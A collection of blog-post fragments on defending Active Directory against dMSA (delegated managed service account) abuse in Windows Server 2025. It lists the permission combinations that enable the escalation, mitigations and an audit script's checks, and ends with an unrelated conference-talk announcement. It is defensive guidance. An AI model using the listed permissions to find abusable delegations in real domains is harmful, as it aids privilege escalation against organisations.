We still encourage organizations to proactively review their delegation model2 and act accordingly to mitigate any risk. In this context, the focus of the review is around the creation and management of dMSAs in any AD domain.
Organizations with the desire to either upgrade to Windows Server 2025 AD or install a new Windows Server 2025 AD can implement this solution to mitigate the risks of an attack until Microsoft has released a patch.
Implementing the block on the migration scenario is done in the AD schema, and the change is reversible: You can set it to block8 and at a later stage, set to unblock9. That means multiple management approaches are possible.
Your organization may implement this block because there is no desire to use dMSAs for the migration scenario.
If your organization desires to use dMSAs for the migration scenario, you can still implement the block to protect AD. Any time you want to initiate the migration of an account, you can remove the block upfront and reimplement it afterwards. You can complete the migration of an account with or without the block in place.
Using this approach, it’s possible to achieve goals A, B, and C.
Even if you implement a block, Semperis DSP’s IoEs and IoCs help enable close monitoring of dMSA creation, management, and authentication events as well as attribute modifications.
Learn more about the dangers of excessive privileges in AD
DISCLAIMER: This content is provided for educational and informational purposes only. It is intended to promote awareness and responsible remediation of security vulnerabilities. Unauthorized use of this information for malicious purposes, exploitation, or unlawful access is strictly prohibited. Semperis does not endorse or condone any illegal activity and disclaims any liability arising from misuse of the material. Additionally, Semperis does not guarantee the accuracy or completeness of the content and assumes no liability for any damages resulting from its use.
————————————————————————————————————————————————————- This posting is provided “AS IS” with no warranties and confers no rights! Always evaluate/test everything yourself first before using/implementing this in production! This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years! DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/ ————————————————————————————————————————————————————- ########################### IAMTEC | Jorge’s Quest For Knowledge ########################## #################### https://jorgequestforknowledge.wordpress.com/ ###################
The misuse can be executed by anyone that has the ability to either create a new dMSA or manage an existing dMSA. In summary it all boils down to an account having at least any of the following 5 permissions combinations:
“Create Child” permission on either a container or an organizational unit for all Objects or at least ‘msDS-DelegatedManagedServiceAccount’ objects
“Full Control” permission on either a container, an organizational unit or a ‘msDS-DelegatedManagedServiceAccount’
“Write DACL” permission on either a container, an organizational unit or a ‘msDS-DelegatedManagedServiceAccount’
“Write Owner” permission on either a container, an organizational unit or a ‘msDS-DelegatedManagedServiceAccount’
“Write Property” permission on a ‘msDS-DelegatedManagedServiceAccount’ for at least the attributes ‘msDS-ManagedAccountPrecededByLink’ and ‘msDS-DelegatedMSAState’
Although the misuse only works when at least 1 W2K25 RWDC is available, any current/existing AD domain with an incorrect/inappropriate delegation model is at risk when the first W2K25 RWDC is added to the AD domain due to an upgrade. Any fresh installed AD domain based on W2K25 is also vulnerable.
In general it is always a good idea to implement a secure delegation model, and also from time to time review that delegation model for any “vulnerabilities”. Never think or assume, that after implementing a secure delegation model, you will be good to go forever without doing anything more. remember, that something might happen that might suddenly put your AD at risk, like what Yuval’s blog describes.
The following protections can be implemented to secure your AD against misuse:
Implement a tiering model to protect and hide your (high) privileged objects (accounts, groups and servers)
Review the legacy “Account Operators” security group membership. As a best practice DO NOT use this or any other for that matter legacy (high-privileged) security group
Redefine explicit owner rights OR block implicit owner rights – 2 options possible, both can also be done!
Consider using the OWNER RIGHTS permissions feature as described here. (With THIS you redefine what the owner of an object gets after creating the object)
Blocking “Implicit Owner Rights” through DS Heuristics as described here. (With THIS you block implicit owner rights by default for computer objects, or derived object types like sMSA/gMSA/dMSA, when not being a member of Domain Admins or Enterprise Admins)
Review “GenericAll” (Full Control) permissions on any container and organizational unit
Consider NOT using the “CreateChild” permissions in a generic way, i.e. allowing the creation of any object (which also includes dMSAs). Consider being specific in which object type(s) is/are allowed to be created
For now, until Microsoft secures this, consider dMSA creation and management as a Tier0 operation (especially allowing the “Write Property” permission for the “msDS-ManagedAccountPrecededByLink” on a dMSA is (very) dangerous)
Nevertheless, monitor the creation and management of dSMAs
By default filter out (exclude) the following security principals:
BUILTIN\ADMINISTRATORS
CREATOR OWNER
NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
NT AUTHORITY\SYSTEM
<DOMAIN>\Domain Admins
<ROOT DOMAIN>\Enterprise Admins
Any other SIDs you wish to filter out
Check all locations (domain head, containers, organizational units and more) where dMSAs could be created from a an AD schema perspective
Checks all existing dMSAs in the AD domain
For all locations and existing dMSAs the following permissions are checked and reported if not in the filtered out list :
The current owner of msDS-DelegatedManagedServiceAccount objects, and all locations where msDS-DelegatedManagedServiceAccount objects can be created
“GenericAll” (i.e. Full Control) on msDS-DelegatedManagedServiceAccount objects, and all locations where msDS-DelegatedManagedServiceAccount objects can be created
“WriteDACL” on msDS-DelegatedManagedServiceAccount objects, and all locations where msDS-DelegatedManagedServiceAccount objects can be created
“WriteOwer” on msDS-DelegatedManagedServiceAccount objects, and all locations where msDS-DelegatedManagedServiceAccount objects can be created
“CreateChild” on all locations where msDS-DelegatedManagedServiceAccount objects can be created
“WriteProperty” on msDS-DelegatedManagedServiceAccount objects for the msDS-DelegatedMSAState attribute and the msDS-ManagedAccountPrecededByLink Attribute
“WriteProperty” on all locations where msDS-DelegatedManagedServiceAccount objects can be created for the msDS-DelegatedMSAState attribute and the msDS-ManagedAccountPrecededByLink Attribute on msDS-DelegatedManagedServiceAccount objects
The output of the PowerShell code is to an XML file and to the Grid View.
An example of that output in the Grid View is displayed below
Figure 1b: Output Of The PowerShell Code Finding All Candidate EXPLICIT Allow ACEs To Investigate For dMSA Abuse In AD Domain
PS: Yes, I know about and when using https://github.com/akamai/BadSuccessor/ I get the output below. As you can see when comparing with the output above, you can see I check for more locations (e.g. containers and the domain itself) and I also specify the specific permission on object and for which security principal to make it easier to search and where needed resolve.
Cheers,
Jorge
————————————————————————————————————————————————————- This posting is provided “AS IS” with no warranties and confers no rights! Always evaluate/test everything yourself first before using/implementing this in production! This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years! DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/ ————————————————————————————————————————————————————- ########################### IAMTEC | Jorge’s Quest For Knowledge ########################## #################### https://jorgequestforknowledge.wordpress.com/ ###################
Very proud (again!) to have been selected again to present at Troopers 2024!
Somewhere in the week of June 24th – 28th, I will be challenging the demo gods for a full hour. Let’s just hope everything goes as planned!
Last year at Troopers I presented about the “Best Practices for Resynchronizing AD and Entra ID After Forest Recovery”. This year, I will actually show you how this can be done for real!
————————————————————————————————————————————————————- This posting is provided “AS IS” with no warranties and confers no rights! Always evaluate/test everything yourself first before using/implementing this in production! This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years! DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/ ————————————————————————————————————————————————————- ########################### IAMTEC | Jorge’s Quest For Knowledge ########################## #################### https://jorgequestforknowledge.wordpress.com/ ###################